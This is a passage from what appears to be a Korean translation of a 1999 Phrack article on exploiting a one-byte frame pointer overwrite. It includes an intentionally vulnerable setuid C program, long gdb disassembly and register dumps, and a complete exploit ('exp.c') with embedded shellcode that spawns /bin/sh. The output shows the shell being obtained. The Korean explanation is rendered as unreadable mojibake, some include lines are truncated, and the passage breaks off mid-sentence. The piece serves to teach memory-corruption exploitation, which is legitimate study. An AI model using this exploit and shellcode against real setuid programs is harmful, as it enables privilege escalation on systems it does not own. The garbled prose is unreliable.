Phrack Magazine 9±Ç 55È£ - 09.09.99 - ÃÑ 19Áß 8¹ø° - ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ ¿À¹öÇ÷οì ------------------------------------------------------------------------ ÀúÀÚ : klog ¹ø¿ª : ¹Ú»ó¿î *¹ø¿ªÁÖ : Á¦°¡ ±×¸® ÀßÇÑ °ÍÀº ¾Æ´Ï´Ï À߸ø ¹ø¿ªÇÑ °÷ÀÌ ÀÖÀ¸¸é ¸á º¸³»ÁÖ¼¼¿ä. À̱ۿ¡¼­ "ÀÌ¿ëÇÑ´Ù"´Â °ÍÀº exploit, Áï "¾Ç¿ëÇÑ´Ù"´Â ¶æÀ» Æ÷ÇÔÇÏ°í ÀÖ½À´Ï´Ù. ___[ ¼Ò°³ ]___ ¹öÆÛµéÀº ¿À¹öÇ÷οìµÉ ¼ö ÀÖ´Ù. ±×¸®°í Ÿ°Ù ÇÁ·Î¼¼½ºÀÇ ÁÖ¼Ò°ø°£¿¡ ÀúÀåµÇ¾î ÀÖ´Â Áß¿äÇÑ µ¥ÀÌÅ͸¦ ¿À¹öÇÃ·Î¿ì ½ÃÅ´À¸·Î½á Ÿ°Ù ÇÁ·Î¼¼½ºÀÇ ½ÇÇàÈ帧À» º¯°æÇÒ ¼ö ÀÖ´Ù. ÀÌ°ÍÀº ¿À·¡µÈ À̾߱â´Ù. ÀÌ ¹®¼­´Â ¾î¶»°Ô ¹öÆÛ ¿À¹öÇ÷ο츦 ÀÏÀ¸Å°°Ô Çϴ°¡¿¡ ´ëÇÑ °Íµµ ¾Æ´Ï°í Ãë¾àÁ¡ ±× ÀÚü¸¦ ¼³¸íÇÏ´Â °Íµµ ¾Æ´Ï´Ù. ÀÌ ¹®¼­´Â Ÿ°Ù ¹öÆÛ°¡ ´ÜÁö 1¹ÙÀÌÆ®¸¸ ¿À¹öÇ÷οìµÉ ¼ö ÀÖ´Â ÃÖ¾ÇÀÇ »óȲ¿¡¼­µµ ÀÌ Ãë¾àÁ¡À» ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù´Â °ÍÀ» Áõ¸íÇÑ´Ù. ¾Æ¹«·± Ư±ÇÀÌ ¾øÀ» ¶§¸¦ Æ÷ÇÔÇÑ ¾î¶² ÃÖ¾ÇÀÇ »óȲ¿¡¼­µµ ½Å¿ëÀÖ´Â ÇÁ·Î¼¼½º¸¦ ÀÌ¿ëÇÏ´Â ¼ö ¸¹Àº ½É¿ÀÇÑ Å×Å©´ÐµéÀÌ Á¸ÀçÇÑ´Ù. ¿ì¸®´Â ¿©±â¼­ 1¹ÙÀÌÆ® ¿À¹öÇ÷ο츸À» ´Ù·ê °ÍÀÌ´Ù. ___[ °ø°ÝÀÇ ¸ñÀû ]___ °¡»óÀÇ Ãë¾à¼ºÀÖ´Â suidÇÁ·Î±×·¥À» ÀÛ¼ºÇÏÀÚ. ±×¸®°í ±×°ÍÀ» "suid"¶ó ÇÏÀÚ. ÀÌ°ÍÀº ÀÌ°ÍÀÇ ¹öÆ۷κÎÅÍ ´ÜÁö 1¹ÙÀÌÆ®¸¸ ¿À¹öÇ÷οìµÉ ¼ö ÀÖ°Ô ÀÛ¼ºµÇ¾ú´Ù. ipdev:~/tests$ cat > suid.c #include func(char *sm) { char buffer[256]; int i; for(i=0;i<=256;i++) buffer[i]=sm[i]; } main(int argc, char *argv[]) { if (argc < 2) { printf("missing args\n"); exit(-1); } func(argv[1]); } ^D ipdev:~/tests$ gcc suid.c -o suid ipdev:~/tests$ ¿©·¯ºÐµµ ¾Ë ¼ö ÀÖµíÀÌ, ¿ì¸®´Â ÀÌ ÇÁ·Î±×·¥À» ÀÌ¿ëÇϴµ¥ À־ ¸¹Àº °ø°£À» °¡ÁöÁö ¸øÇÑ´Ù. »ç½Ç, ¿À¹öÇ÷οì´Â ¹öÆÛÀÇ ÀúÀå°ø°£À¸·ÎºÎÅÍ ´ÜÁö 1¹ÙÀÌÆ®¸¸À» ÃÊ°úÇÔÀ¸·Î½á ÀϾ´Ù. ¿ì¸®´Â ÀÌ 1¹ÙÀÌÆ®¸¦ Çö¸íÇÏ°Ô »ç¿ëÇØ¾ß ÇÒ °ÍÀÌ´Ù. ¾î¶² °ÍÀ» ÀÌ¿ëÇϱâ Àü¿¡, ¿ì¸®´Â ÀÌ 1¹ÙÀÌÆ®°¡ ½ÇÁ¦·Î ¹«¾ùÀ» µ¤¾î¾²´ÂÁö »ìÆ캸¾Æ¾ß ÇÑ´Ù(¿©·¯ºÐÀº ¾Æ¸¶µµ ±×°ÍÀ» ÀÌ¹Ì ¾ËÁöµµ ¸ð¸£Áö¸¸). ¿À¹öÇ÷ο찡 ÀϾ ¶§, gdb¸¦ ÀÌ¿ëÇØ ½ºÅÃÀ» ¾î¼ÀºíÇغ¸ÀÚ. ipdev:~/tests$ gdb ./suid ... (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) ¿ì¸® ¸ðµÎ°¡ ¾ËµíÀÌ, CALL ¸í·ÉÀÌ ¿ä±¸Çϱ⠶§¹®¿¡, ÇÁ·Î¼¼¼­´Â ¸ÕÀú %eip¸¦ ½ºÅÿ¡ Áý¾î³ÖÀ» °ÍÀÌ´Ù. ±×·± ´ÙÀ½, *0x8048134¿¡¼­ º¸¿©Áöµí ÀÌ ÀÛÀº ÇÁ·Î±×·¥Àº %ebp¸¦ %eipÀ§¿¡ Áý¾î ³Ö´Â´Ù. ¸¶Áö¸·À¸·Î ±×°ÍÀº %esp¸¦ 0x104¸¸Å­ °¨¼Ò½ÃÅ´À¸·Î½á Áö¿ª ÇÁ·¹ÀÓÀ» È°¼ºÈ­ ½ÃŲ´Ù. ÀÌ°ÍÀº ¿ì¸®ÀÇ Áö¿ªº¯¼öµéÀÌ 0x104ÀÇ Å©±â¸¦ °¡Áú °ÍÀ» ÀǹÌÇÑ´Ù(0x100Àº ¹®ÀÚ¿­¸¦ À§ÇÑ °ø°£Å©±â, 0x004´Â Á¤¼ö¸¦ À§ÇÑ °ø°£Å©±â) ±× º¯¼öµéÀº ¹°¸®ÀûÀ¸·Î óÀ½ 4¹ÙÀÌÆ®¸¦ Â÷ÁöÇϹǷΠ255¹ÙÀÌÆ®ÀÇ ¹öÆÛ´Â 256¹ÙÀÌÆ®ÀÇ ¹öÆÛ¸¸Å­ÀÇ °ø°£À» Â÷ÁöÇÑ´Ù´Â °ÍÀ» ¸í½ÉÇØ¾ß ÇÑ´Ù. ¿ì¸®´Â ÀÌÁ¦ ¿À¹öÇ÷ο찡 ÀϾ±â ÀüÀÇ ½ºÅÃÀÇ ¸ð½ÀÀÌ ´ÙÀ½°ú °°´Ù°í ¸»ÇÒ ¼ö ÀÖ´Ù: saved_eip saved_ebp char buffer[255] char buffer[254] ... char buffer[000] int i ÀÌ°ÍÀº ¿À¹öÇ÷οìÇÏ´Â ¹ÙÀÌÆ®°¡ ÀúÀåµÈ ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ(saved_ebp)¸¦ µ¤¾î¾µ °ÍÀ» ÀǹÌÇÑ´Ù. ¶ÇÇÑ ÀúÀåµÈ ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ(saved_ebp)´Â func()ÇÔ¼ö¸¦ ½ÃÀÛÇÒ ¶§ ½ºÅÿ¡ Áý¾î ³Ö¾îÁ³¾ú´Ù. ÇÏÁö¸¸ ¾î¶»°Ô ÀÌ 1¹ÙÀÌÆ®°¡ ÇÁ·Î±×·¥ÀÇ ½ÇÇàÈ帧À» ¹Ù²Ü¼ö Àִ°¡? ÀÚ ÀÌÁ¦, %ebpÀÇ »ó(image)¿¡ ¾î¶² ÀÏÀÌ ÀϾ´ÂÁö »ìÆ캸ÀÚ. ¿ì¸®´Â *0x804817e¿¡¼­ º¼ ¼ö ÀÖµíÀÌ func()ÇÔ¼ö°¡ ³¡³¯¶§ %ebp°¡ º¹±ÍµÈ´Ù´Â °ÍÀ» ÀÌ¹Ì ¾Ë°í ÀÖ´Ù. ÇÏÁö¸¸ ±× ´ÙÀ½Àº ¾î¶»°Ô µÉ°ÍÀΰ¡? (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) ÈǸ¢ÇÏ´Ù! main()ÇÔ¼öÀÇ ³¡¿¡¼­ func()ÇÔ¼ö°¡ ºÒ·ÁÁø ÈÄ¿¡, *0x80481b1¿¡¼­ º¸¿©Áöµí %ebpÀÇ °ªÀº %esp¿¡ ÀúÀåµÉ °ÍÀÌ´Ù. ÀÌ°ÍÀº ¿ì¸®°¡ %esp¸¦ ÀÓÀÇÀÇ °ªÀ¸·Î ¼³Á¤ÇÒ ¼ö ÀÖ´Ù´Â °ÍÀ» ¶æÇÑ´Ù. ÇÏÁö¸¸ ±â¾ïÇضó. ÀÌ ÀÓÀÇÀÇ °ªÀº ÁøÂ¥·Î ÀÓÀÇÀÇ °ªÀÌ ¾Æ´Ï´Ù. ¿Ö³ÄÇÏ¸é ´ç½ÅÀº %espÀÇ ¹ÙÀÌÆ® Áß ¸¶Áö¸· ¹ÙÀÌÆ®¸¸À» ¼öÁ¤ÇÒ ¼ö Àֱ⠶§¹®ÀÌ´Ù. ¿ì¸®°¡ ¸Â´ÂÁö È®ÀÎÇØ º¸ÀÚ. (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b4 Breakpoint 2 at 0x80481b4 (gdb) run `overflow 257` Starting program: /home/klog/tests/suid `overflow 257` Breakpoint 2, 0x80481b4 in main () (gdb) info register esp esp 0xbffffd45 0xbffffd45 (gdb) ¿ì¸®°¡ ¸ÂÀº °Íó·³ º¸ÀδÙ. 'A'(0x41)¹®ÀÚ Çϳª·Î ¹öÆÛ¸¦ ¿À¹öÇ÷οì ÇÑ ÈÄ¿¡, %ebp´Â %esp·Î ¿Å°ÜÁ³´Ù. %ebp°¡ RET¹Ù·Î ¾Õ¿¡¼­ ½ºÅÃÀ¸·ÎºÎÅÍ ²¨³»Á®Áö±â ¶§¹®¿¡ %esp´Â 4¸¸Å­ Áõ°¡ÇÑ´Ù. ÀÌ°ÍÀº 0xbffffd41 + 0x4 = 0xbffffd45¶ó´Â °ÍÀ» ¾Ë·ÁÁØ´Ù. ___[ ÁغñÇϱâ ]___ ½ºÅÃÆ÷ÀÎÅ͸¦ º¯°æÇÔÀ¸·Î½á ¹«¾ùÀ» ¾òÀ» ¼ö Àִ°¡? ¿ì¸®´Â ¾î´À ÀüÅëÀûÀÎ ¹öÆÛ ¿À¹öÇ÷οì¿Í °°ÀÌ ÀúÀåµÈ %eip¸¦ Á÷Á¢ÀûÀ¸·Î ¹Ù²Ü ¼ö ¾ø´Ù. ÇÏÁö¸¸ ¿ì¸®´Â ÇÁ·Î¼¼¼­°¡ ±×°ÍÀÌ ´Ù¸¥ °÷¿¡ ÀÖ´Ù°í »ý°¢ÇÏ°Ô ÇÒ ¼ö´Â ÀÖ´Ù. ÇÁ·Î¼¼¼­°¡ ÇÁ·Î½ÃÀú·ÎºÎÅÍ µ¹¾Æ¿Ã¶§, ½ºÅÿ¡ Àִ ù¹ø° ¿öµå¸¦ ´Ü¼øÈ÷ ²¨³½´Ù, ±×°ÍÀÌ ¿ø·¡ÀÇ %eip¶ó°í »ý°¢Çϸ鼭. ÇÏÁö¸¸, ¿ì¸®°¡ %esp¸¦ ¹Ù²Ù¸é, ¿ì¸®´Â ÇÁ·Î¼¼¼­°¡ ½ºÅÃÀ¸·ÎºÎÅÍ ¾î¶² °ªµµ ¸¶Ä¡ ±×°ÍÀÌ %eipÀÎ °Íó·³, ²¨³»°Ô ÇÒ ¼ö ÀÖ´Ù. ±×·¸°Ô ÇÔÀ¸·Î½á ½ÇÇàÈ帧À» ¹Ù²Ü ¼ö ÀÖ´Ù. ´ÙÀ½ÀÇ ¹®ÀÚ¿­À» ÀÌ¿ëÇØ ¹öÆÛ ¿À¹öÇ÷ο츦 °èȹÇØ º¸ÀÚ. [nops][shellcode][&shellcode][%ebp_altering_byte] ÀÌ°ÍÀ» Çϱâ À§Çؼ­´Â, ¿ì¸®´Â ¸ÕÀú %ebp (%espµµ ¸¶Âù°¡Áö)¸¦ ¾î¶² °ªÀ¸·Î ¹Ù²Ù±æ ¿øÇÏ´ÂÁö¸¦ °áÁ¤ÇØ¾ß ÇÑ´Ù. ¹öÆÛ ¿À¹öÇ÷ο찡 ÀϾÀ» ¶§, ½ºÅÃÀÌ ¾î¶² ±¸Á¶°¡ µÉÁö »ìÆ캸ÀÚ : saved_eip saved_ebp (altered by 1 byte) &shellcode \ shellcode | char buffer nops / int i ¿©±â¼­, ¿ì¸®´Â ÇÁ·Î¼¼¼­°¡ main()ÇÔ¼ö·ÎºÎÅÍ µ¹¾Æ¿Ã¶§, ½©ÄÚµåÀÇ ÁÖ¼Ò°¡ ½ºÅÃÀ¸·ÎºÎÅÍ ²¨³»¾îÁ® %eip¿¡ ÀúÀåµÇ°Ô Çϱâ À§ÇØ, ¿ì¸®´Â %esp°¡ &shellcode¸¦ °¡¸®Å°±â¸¦ ¿øÇÑ´Ù. ¿ì¸®´Â ÀÌ Ãë¾àÇÑ ÇÁ·Î±×·¥À» ¾î¶»°Ô ÀÌ¿ëÇÏ´Â °¡¿¡ ´ëÇÑ ¸ðµç Áö½ÄÀ» °®Ãß°í Àֱ⠶§¹®¿¡, ¿ì¸®´Â ÀÌ ÇÁ·Î±×·¥ÀÌ ÀÌ¿ëµÉ ¶§ÀÇ »óȲ¿¡¼­ µ¹¾Æ°¡´Â ÇÁ·Î¼¼½ºÀÇ Á¤º¸¸¦ ÃßÃâÇÒ ÇÊ¿ä°¡ ÀÖ´Ù. ÀÌ Á¤º¸´Â ¿À¹öÇ÷οìµÈ ¹öÆÛÀÇ ÁÖ¼Ò¿Í ¿ì¸®ÀÇ ½©Äڵ带 °¡¸®Å°´Â Æ÷ÀÎÅÍÀÇ ÁÖ¼Ò(&shellcode) ·Î ÀÌ·ç¾îÁ® ÀÖ´Ù. ±× ÇÁ·Î±×·¥ÀÌ 257¹ÙÀÌÆ® ±æÀÌÀÇ ¹®ÀÚ¿­·Î ¿À¹öÇ÷οìµÇµµ·Ï ±× ÇÁ·Î±×·¥À» ½ÇÇàÇØ º¸ÀÚ. ÀÌ°ÍÀ» Çϱâ À§Çؼ­´Â, ¿ì¸®°¡ ±× Ãë¾àÇÑ ÇÁ·Î¼¼½º¸¦ ÀÌ¿ëÇÏ´Â »óȲÀ» ÀçÇöÇÒ °¡Â¥ ÇÁ·Î±×·¥À» ÀÛ¼ºÇØ¾ß ÇÑ´Ù. (gdb) q ipdev:~/tests$ cat > fake_exp.c #include #include main() { int i; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=256;i++) { buffer[i] = 'A'; } execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc fake_exp.c -o fake_exp ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp2 Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804813d Breakpoint 1 at 0x804813d (gdb) c Continuing. Breakpoint 1, 0x804813d in func () (gdb) info register esp esp 0xbffffc60 0xbffffc60 (gdb) ¼º°øÀÌ´Ù. ¿ì¸®´Â ÀÌÁ¦ funcÀÇ ÇÁ·¹ÀÓÀÌ È°¼ºÈ­ µÈ ÈÄÀÇ %esp¸¦ ¾Ë°í ÀÖ´Ù. ÀÌ °ªÀ¸·ÎºÎÅÍ, ¿ì¸®´Â ¿ì¸®ÀÇ ¹öÆÛ°¡ 0xbffffc60 + 0x04 ('int i'ÀÇ Å©±â) = 0xbffffc64¿¡ À§Ä¡ÇÏ°í ÀÖ´Ù´Â °ÍÀ» ÀÌÁ¦ ÃßÃøÇÒ ¼ö ÀÖ´Ù. ±×¸®°í ¶ÇÇÑ ¿ì¸®ÀÇ ½©Äڵ带 °¡¸®Å°´Â Æ÷ÀÎÅÍ´Â 0xbffffc64 + 0x100 ('char buffer[256]'ÀÇ Å©±â) - 0x04 (½©ÄÚµå Æ÷ÀÎÅÍÅ©±â) = 0xbffffd60 ¿¡ ÀÚ¸®Àâ°í ÀÖ´Ù´Â °ÍÀ» ÃßÃøÇÒ ¼ö ÀÖ´Ù. ___[ º»°ÝÀûÀÎ °ø°Ý ]___ Àú·± °ªµéÀ» ¾Æ´Â °ÍÀº ½©ÄÚµå, ½©ÄÚµå Æ÷ÀÎÅÍ ±×¸®°í µ¤¾î¾²´Â 1¹ÙÀÌÆ®¸¦ Æ÷ÇÔÇÑ ¿Ï¼ºµÈ ¹öÀüÀÇ ÀÌ¿ëÇÁ·Î±×·¥À» ÀÛ¼ºÇϴ°ÍÀ» °¡´ÉÇÏ°Ô ÇØ ÁØ´Ù. ÀúÀåµÈ %ebpÀÇ ¸¶Áö¸· ¹ÙÀÌÆ®¸¦ µ¤¾î¾²´Âµ¥ ÇÊ¿äÇÑ °ªÀº 0x60 - 0x04 = 0x5c°¡ µÉ°ÍÀÌ´Ù. ¿Ö³ÄÇϸé, ¿©·¯ºÐµµ ±â¾ïÇϵíÀÌ, ¿ì¸®´Â main()ÇÔ¼ö¿¡¼­ µ¹¾Æ¿À±â ¹Ù·ÎÀü¿¡ %ebp¸¦ ½ºÅØ¿¡¼­ ²¨³»±â ¶§¹®ÀÌ´Ù. ÀÌ 4¹ÙÀÌÆ®´Â %ebp°¡ ½ºÅÃÀ¸·ÎºÎÅÍ Á¦°ÅµÇ´Â °ÍÀ» º¸ÃæÇÒ °ÍÀÌ´Ù. ¿ì¸®ÀÇ ½©Äڵ带 °¡¸®Å°´Â Æ÷ÀÎÅÍ¿¡ °üÇؼ­´Â, ¿ì¸®´Â ±×°ÍÀÌ Á¤È®ÇÑ ÁÖ¼Ò¸¦ °¡¸®Å°°Ô ÇÒ ÇÊ¿ä°¡ ¾ø´Ù. ¿ì¸®°¡ ÇÊ¿äÇÑ °ÍÀº º¸ÅëÀÇ ¹öÆÛ ¿À¹öÇ÷οì¿Í °°ÀÌ ÇÁ·Î¼¼¼­°¡, ¿À¹öÇ÷οìµÈ ¹öÆÛÀÇ ½ÃÀÛ(0xbfffc64)°ú ¿ì¸®ÀÇ ½©ÄÚµå(0xbffffc64 - sizeof(shellcode)) »çÀÌ¿¡ ÀÖ´Â nopsÀÇ ÇÑ °¡¿îµ¥·Î µÇµ¹¾Æ ¿À°Ô ¸¸µå´Â °ÍÀÌ´Ù. 0xbffffc74¸¦ ÀÌ¿ëÇÏÀÚ. ipdev:~/tests$ cat > exp.c #include #include char sc_linux[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; main() { int i, j; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=(252-sizeof(sc_linux));i++) { buffer[i] = 0x90; } for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++) { buffer[i] = sc_linux[j]; } buffer[i++] = 0x74; /* buffer[i++] = 0xfc; * Address of our buffer buffer[i++] = 0xff; * buffer[i++] = 0xbf; */ buffer[i++] = 0x5c; execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc exp.c -o exp ipdev:~/tests$ ./exp bash$ ÈǸ¢ÇÏ´Ù! ½ÇÁ¦·Î ¹«¾ùÀÌ ÀϾ´ÂÁö ´õ ÀÚ¼¼È÷ »ìÆ캸ÀÚ. ºñ·Ï ¿ì¸®°¡ ³»°¡ ÀÌ ¹®¼­¿¡¼­ ¾´ ÀÌ·ÐÀ» °¡Áö°í ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ¿´Áö¸¸, ¸ðµç °ÍÀÌ ÀÏÄ¡ÇÏ´Â °ÍÀ» º¸´Â °ÍÀº ¸ÚÁø ÀÏ ÀÏ °ÍÀÌ´Ù. ¸¸¾à¿¡ ¹Ù·Î Àü¿¡ ¼³¸íµÈ ¸ðµç °ÍÀ» ÀÌÇØ Çß´Ù¸é, ¹Ù·Î Áö±Ý ±×¸¸ Àаí Ãë¾àÁ¡À» ã´Â ÀÏÀ» ½ÃÀÛÇصµ ÁÁ´Ù. ipdev:~/tests$ gdb --exec=exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) ¸ÕÀú suidÇÁ·Î±×·¥ÀÇ ÀÌ¿ëÇÁ·Î±×·¥¿¡ ¿ì¸® ´« ¾Õ¿¡¼­ ¾î¶² ÀÏÀÌ ¹ú¾îÁö´Â°¡ ÁÖÀÇ ±í°Ô »ìÆ캸±â À§ÇØ ¸ØÃß´Â ÁöÁ¡(breakpoint)¸¦ ¸î °³ ¼³Á¤ÇÏÀÚ. ¿ì¸®´Â ¿ì¸®ÀÇ ½©Äڵ尡 ½ÇÇàµÇ±â ½ÃÀÛÇÒ ¶§±îÁö µ¤¾î ¾²¿©Áø ÇÁ·¹ÀÓ Æ÷ÀÎÅÍÀÇ °ªÀ» µû¸£µµ·Ï ÇØ¾ß ÇÑ´Ù. (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804817e Breakpoint 1 at 0x804817e (gdb) break *0x804817f Breakpoint 2 at 0x804817f (gdb) Àú ù¹ø° ¸ØÃß´Â ÁöÁ¡(breakpoint)µéÀº ½ºÅÃÀ¸·ÎºÎÅÍ ²¨³»Áö±â Àü°ú ÈÄÀÇ %ebpÀÇ ³»¿ëÀ» »ìÆ캼 ¼ö ÀÖ°Ô ÇØ ÁÙ °ÍÀÌ´Ù. ÀÌ °ªµéÀº ¿ø·¡ÀÇ °ª°ú µ¤¾î ¾²¿©Áø °ª¿¡ ÇØ´çÇÑ´Ù. (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 <_IO_printf> 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b3 Breakpoint 3 at 0x80481b3 (gdb) break *0x80481b4 Breakpoint 4 at 0x80481b4 (gdb) ¿©±â¼­ ¿ì¸®´Â µ¤¾î ¾²¿öÁø %ebp°¡ %esp·Î Àü¼ÛµÇ´Â °Í°ú main()ÇÔ¼ö·ÎºÎÅÍ µ¹¾Æ ¿Ã¶§±îÁöÀÇ %espÀÇ ³»¿ëÀ» »ìÆ캸±â¸¦ ¿øÇÑ´Ù. ÇÁ·Î±×·¥À» ½ÇÇà½ÃÄÑ º¸ÀÚ. (gdb) c Continuing. Breakpoint 1, 0x804817e in func () (gdb) info reg ebp ebp 0xbffffd64 0xbffffd64 (gdb) c Continuing. Breakpoint 2, 0x804817f in func () (gdb) info reg ebp ebp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 3, 0x80481b3 in main () (gdb) info reg esp esp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 4, 0x80481b4 in main () (gdb) info reg esp esp 0xbffffd60 0xbffffd60 (gdb) óÀ½¿¡´Â, ¿ì¸®´Â ¿ø·¡ÀÇ %ebp°ªÀ» º¸°Ô µÈ´Ù. ½ºÅÿ¡¼­ ²¨³»Áø ÈÄ¿¡´Â, ¿ì¸®´Â ¿ì¸®ÀÇ ¿À¹öÇ÷οìÇÏ´Â ¹®ÀÚ¿­ÀÇ ¸¶Áö¸· ¹ÙÀÌÆ®ÀÎ 0x5c¿¡ ÀÇÇØ µ¤¾î ¾²¿©Áø ÇÑ ¹ÙÀÌÆ®·Î ±×°ÍÀÌ ´ëüµÇ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. ±×·± ÈÄ¿¡, %ebp´Â %esp·Î ¿Å°ÜÁö°í ¸¶Áö¸·À¸·Î %ebp°¡ ½ºÅÿ¡¼­ ´Ù½Ã ²¨³»Áø ÈÄ¿¡, %esp´Â 4¸¸Å­ Áõ°¡ÇÑ´Ù. ±×°ÍÀ¸·ÎºÎÅÍ ¿ì¸®´Â ¸¶Áö¸· °ªÀÎ 0xbffffd60À» ¾òÀ» ¼ö ÀÖ´Ù. °Å±â¼­ ¹«¾ùÀÌ ¼º¸³ ÇÏ´ÂÁö »ìÆ캸ÀÚ. (gdb) x 0xbffffd60 0xbffffd60 <__collate_table+3086619092>: 0xbffffc74 (gdb) x/10 0xbffffc74 0xbffffc74 <__collate_table+3086618856>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc84 <__collate_table+3086618872>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc94 <__collate_table+3086618888>: 0x90909090 0x90909090 (gdb) ¿ì¸®´Â 0xbffffd60ÀÌ ½©ÄÚµå ¹Ù·Î ¾Õ¿¡ ÀÖ´Â nopsÀÇ ÇÑ °¡¿îµ¥¸¦ °¡¸®Å°°í ÀÖ´Â Æ÷ÀÎÅÍÀÇ ½ÇÁ¦ ÁÖ¼Ò¶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ÇÁ·Î¼¼¼­°¡ 